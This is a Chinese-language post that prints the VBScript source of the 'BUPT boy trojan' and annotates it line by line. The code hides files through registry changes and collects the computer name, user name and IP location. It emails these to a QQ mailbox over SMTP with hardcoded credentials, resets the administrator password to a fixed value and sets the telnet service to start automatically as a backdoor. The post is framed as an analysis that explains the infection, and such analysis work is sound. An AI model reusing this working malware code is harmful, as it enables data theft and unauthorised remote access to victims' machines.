“北邮男生木马”代码全诠释
“北邮男生木马”代码全注释
- VBScript code
' '1.主体函数部分 ' '当运行脚本时,主体函数部分代码依次执行 '所以分析脚本“主体函数部分”可以看出脚本程序执行思路 On Error Resume Next '创建文件系统对象,用于文件操作 Set fso = CreateObject("Scripting.FileSystemObject") '创建Shell对象 Set WshShell = CreateObject("WScript.Shell") '创建NetWork对象 Set WshNetWork = WScript.CreateObject("Wscript.NetWork") '脚本的全路径名,如J:\Butp.dat ThisPath = WScript.ScriptFullName '1 for system folder.通常返回值是C:\Windows\System32 SysDir = fso.GetSpecialFolder(1) & "\" '从SysDir从截取Windows目录,如C:\Windows\System32截取后为C:\Windows\ WinDir = Left(SysDir, 11) SvcHost = "svchost.exe" FnSys = "svchost.dat" FnSysExe = "scs.exe" FnMail = "liam.dat" FnuTray = "bupt.dat" FnuTrayExe = "scs" 'Copy脚本的副本 Set file = fso.OpenTextFile(ThisPath, 1) '1 for readonly VBScriptCopy = file.ReadAll file.Close Set file = Nothing IF LCase(SysDir) = LCase(Left(ThisPath, Len(SysDir))) Then '如果脚本文件位于系统目录(system32)下 Call SendMail Call SetupBD Call ListEnuTray Else '不显示隐藏文件 WshShell.RegWrite "HKCU\SoftWare\Microsoft\Windows\CurrentVersion\Explorer\Advanced\showsuperhidden", 0, "Reg_DOWRD" WshShell.RegWrite "HKCU\SoftWare\Microsoft\Windows\CurrentVersion\Explorer\Advanced\superhidden", 1, "Reg_DOWRD" WshShell.Run(Left(ThisPath, 2)) '2,最小化窗口 IF Not fso.FileExists(SysDir & FnSys) or Not fso.FileExists(SysDir & FnSysExe) or Not fso.FileExists(WinDir & SvcHost) Then Call InfectSys End IF End IF '脚本“主体函数部分”结束 ' '2.功能函数部分 ' '“功能函数部分”的代码不会自动执行,除非“主体函数部分”调用到它 '要分析“功能函数部分”需要根据其“主体函数部分”上下文。 '2.1发送Email. Sub SendMail On Error Resume Next '获取本机ip,并根据(小偷程序原理,网上用的较多)ip获取ip所在地理位置 '然后把信息打包 ComputerName = "计算机名:" & WshNetWork.ComputerName UserName = "当前用户名:" & WshShell.ExpandEnvironmentStrings("%UserName%") Url = "http://www.ip138.cn" '注意,这个是ip地址查询的网站 Html = GetHttpPage(Url) PlaceBegin = Instr(1, Html, "你当前的IP为") PlaceEnd = Instr(PlaceBegin, Html, VBCRLF) Place = mid(Html, PlaceBegin, PlaceEnd - PlaceBegin) Msg = ComputerName & "," & UserName & "," & Place Title = GetIp(".") '将发送信息打包存放在system32\liam.dat中,目的是防止重复发送email '注,如果你的电脑已经中招,使用记事本打开liam.dat可以看到你自己系统的信息 IF fso.FileExists(SysDir & FnMail) Then Set file = fso.OpenTextFile(SysDir & FnMail, 1) OldMsg = file.ReadAll file.Close Set file = Nothing IF OldMsg = Msg Then Exit Sub End IF End IF Call WriteFile(SysDir & FnMail, Msg) '使用cdo发送邮件,邮件内容就是上面搜集信息的打包 '此处使用的是qq邮箱,采用的是自己发送到自己的方式(shader.butp@qq.com) '我曾经使用qq查找过shader.bupt@qq.com这个账号,因为不是主显账号,查不到 NameSpace = "http://schemas.microsoft.com/cdo/configuration/" Set EMail = CreateObject("Cdo.Message") EMail.From = "shader.bupt@qq.com" EMail.To = "shader.bupt@qq.com" EMail.Subject = Title EMail.TextBody = Msg & "," & Now With EMail.Configuration.Fields .Item(NameSpace & "SendUsing") = 2 .Item(NameSpace & "SmtpServer") = "smtp.qq.com" .Item(NameSpace & "SmtpServerPort") = 25 .Item(NameSpace & "SmtpAuthenticate") = 1 .Item(NameSpace & "SendUserName") = "shader.bupt" .Item(NameSpace & "SendPassword") = "52162" .UpDate End With EMail.Send End Sub '2.2在目标电脑上植入信息 Sub SetupBD On Error Resume Next IF LCase(WshNetWork.UserName) <> "administrator" Then '设置管理员密码 Set objUser = GetObject("WinNT://./administrator, user") objUser.SetPassword "52162" objUser.SetInfo '添加自启动服务 WshShell.RegWrite "HKLM\System\Controlset001\services\tlntsvr\start", 2, "REG_DWORD" End IF End Sub '输入限制,只能输入10000字符 '“功能函数部分”结束